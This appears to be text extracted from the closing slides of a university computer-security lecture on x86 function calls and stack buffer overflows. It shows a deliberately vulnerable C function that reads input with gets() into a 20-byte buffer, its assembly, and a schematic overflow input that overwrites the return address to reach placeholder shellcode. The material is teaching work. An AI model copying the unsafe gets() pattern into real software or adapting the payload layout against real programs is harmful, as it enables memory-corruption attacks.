(SFP) 'AAAA'

(name) 'AAAA'

(name) 'AAAA'

(name) SHELLCODE

(name) SHELLCODE

(name) SHELLCODE

...

void vulnerable(void) {

char name[20];

gets(name);

}

int main(void) {

vulnerable();

return 0;

}

vulnerable:

...

call gets� addl $4, %esp

movl %ebp, %esp

popl %ebp

ret

main:

...

call vulnerable

...

EIP

EBP

ESP

Input:

SHELLCODE + 'A' * 12 + '\x40\xcd\xff\xbf'

sh # _

Computer Science 161

Popa and Weaver

67 of 67

Summary: x86 Function Call, Buffer Overflows

  • Calling convention
    • At the start of the function, the callee saves the register values on the stack
    • During the function, the callee can now change those registers
    • At the end of the function, the callee will put the saved values on the stack back into the registers
  • Important saved registers on the stack
    • When the callee saves the value of EBP on the stack, we call it the SFP (saved frame pointer)
    • When the callee saves the value of EIP on the stack, we call it the RIP (return instruction pointer)
  • Buffer overflows: An attacker overwrites unintended parts of memory
  • Stack smashing: An attacker overwrites saved registers on the stack
    • Overwriting the RIP lets the attacker redirect program execution to shellcode

67

Computer Science 161

Popa and Weaver